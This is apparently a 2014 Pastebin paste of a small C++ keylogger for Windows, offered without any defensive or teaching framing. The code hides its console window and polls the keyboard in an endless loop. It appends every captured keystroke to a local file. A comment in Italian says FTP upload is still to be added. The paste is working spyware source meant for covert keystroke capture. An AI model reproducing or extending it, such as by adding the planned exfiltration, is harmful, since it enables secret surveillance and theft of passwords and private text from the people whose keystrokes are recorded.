Advertisement
informaticage

keylogger beta

Nov 18th, 2014 (edited)
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. //alpha keylogger
  2. //non ci ho ancora attaccato nemmeno l'ftp e già rompe il cazzo
  3.  
  4. #include <iostream>
  5. #include <fstream>
  6. #include <windows.h>
  7.  
  8. #define DELAY 150
  9. using namespace std;
  10.  
  11. void writedown (char key){
  12. char *path = "D:\\klog.txt";
  13. FILE *out;
  14. out = fopen(path, "a+");
  15. fprintf(out, "%c", key);
  16. fclose(out);
  17. }
  18.  
  19. int main()
  20. {
  21. FreeConsole();
  22. while(1){
  23. for(char i = 31; i < 91; i++){
  24. if(GetAsyncKeyState(i) & 0x8000){
  25. writedown(i);
  26. Sleep(DELAY);
  27. }
  28. }
  29. }
  30. return 0;
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement